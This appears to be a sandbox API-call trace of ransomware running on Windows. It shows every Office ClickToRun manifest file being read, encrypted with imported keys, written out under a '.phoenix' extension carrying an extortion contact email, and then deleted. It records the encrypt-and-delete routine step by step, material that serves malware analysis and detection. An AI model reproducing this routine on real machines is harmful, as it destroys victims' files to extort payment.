	[0222.522] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.522] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.522] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.522] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.523] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151780) returned 1
	[0222.523] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.523] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x19870, lpOverlapped=0x0) returned 1
	[0222.561] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x19880, dwBufLen=0x19880 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x19880) returned 1
	[0222.561] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x19880, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x19880, lpOverlapped=0x0) returned 1
	[0222.564] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151680) returned 1
	[0222.564] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.564] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0222.565] CryptDestroyKey (hKey=0x151680) returned 1
	[0222.565] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0222.565] CryptDestroyKey (hKey=0x151780) returned 1
	[0222.565] CloseHandle (hObject=0x2e4) returned 1
	[0222.565] CloseHandle (hObject=0x2c8) returned 1
	[0222.568] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml")) returned 1
	[0222.569] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.570] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.570] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=97084) returned 1
	[0222.570] CloseHandle (hObject=0x2c8) returned 1
	[0222.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml")) returned 0x20
	[0222.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.570] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.570] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.571] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.571] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.571] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0222.571] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.571] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x17b3c, lpOverlapped=0x0) returned 1
	[0222.619] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x17b40, dwBufLen=0x17b40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x17b40) returned 1
	[0222.619] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x17b40, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x17b40, lpOverlapped=0x0) returned 1
	[0222.623] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0222.623] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.623] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0222.623] CryptDestroyKey (hKey=0x151140) returned 1
	[0222.623] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x142, lpOverlapped=0x0) returned 1
	[0222.623] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0222.623] CloseHandle (hObject=0x2c8) returned 1
	[0222.623] CloseHandle (hObject=0x2e4) returned 1
	[0222.626] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OneNote.OneNote.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenote.onenote.x-none.msi.16.x-none.xml")) returned 1
	[0222.627] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.627] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.627] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1526) returned 1
	[0222.627] CloseHandle (hObject=0x2e4) returned 1
	[0222.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml")) returned 0x20
	[0222.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.628] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.628] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.628] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.628] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.628] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151580) returned 1
	[0222.628] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.628] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x5f6, lpOverlapped=0x0) returned 1
	[0222.641] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x600, dwBufLen=0x600 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x600) returned 1
	[0222.641] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x600, lpOverlapped=0x0) returned 1
	[0222.642] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0222.642] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.642] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0222.642] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0222.642] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0222.642] CryptDestroyKey (hKey=0x151580) returned 1
	[0222.642] CloseHandle (hObject=0x2e4) returned 1
	[0222.643] CloseHandle (hObject=0x2c8) returned 1
	[0222.643] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml")) returned 1
	[0222.644] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.644] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.644] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2310) returned 1
	[0222.644] CloseHandle (hObject=0x2c8) returned 1
	[0222.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml")) returned 0x20
	[0222.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.645] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.645] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.645] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.645] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.645] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151080) returned 1
	[0222.645] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.645] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x906, lpOverlapped=0x0) returned 1
	[0222.652] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x910, dwBufLen=0x910 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x910) returned 1
	[0222.652] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x910, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x910, lpOverlapped=0x0) returned 1
	[0222.653] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0222.653] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.653] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90, dwBufLen=0x90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x90) returned 1
	[0222.653] CryptDestroyKey (hKey=0x151500) returned 1
	[0222.653] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x142, lpOverlapped=0x0) returned 1
	[0222.653] CryptDestroyKey (hKey=0x151080) returned 1
	[0222.653] CloseHandle (hObject=0x2c8) returned 1
	[0222.654] CloseHandle (hObject=0x2e4) returned 1
	[0222.655] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml")) returned 1
	[0222.656] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0222.656] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.657] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=11146) returned 1
	[0222.657] CloseHandle (hObject=0x2e4) returned 1
	[0222.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml")) returned 0x20
	[0222.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.657] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0222.657] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.658] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0222.658] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0222.658] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0222.658] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.658] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2b8a, lpOverlapped=0x0) returned 1
	[0222.682] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2b90, dwBufLen=0x2b90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2b90) returned 1
	[0222.682] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2b90, lpOverlapped=0x0) returned 1
	[0222.683] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151200) returned 1
	[0222.683] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0222.683] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70, dwBufLen=0x70 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x70) returned 1
	[0222.683] CryptDestroyKey (hKey=0x151200) returned 1
	[0222.683] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x122, lpOverlapped=0x0) returned 1
	[0222.683] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0222.683] CloseHandle (hObject=0x2e4) returned 1
	[0222.683] CloseHandle (hObject=0x2c8) returned 1
	[0222.684] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmuxmui.msi.16.en-us.xml")) returned 1
	[0222.685] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
